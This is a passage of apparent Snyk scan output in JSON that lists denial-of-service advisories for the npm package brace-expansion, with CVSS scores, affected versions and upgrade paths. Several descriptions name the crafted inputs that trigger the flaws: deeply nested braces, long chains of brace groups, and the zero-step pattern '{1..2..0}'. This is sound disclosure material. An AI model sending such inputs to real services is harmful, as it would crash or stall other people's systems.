"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": 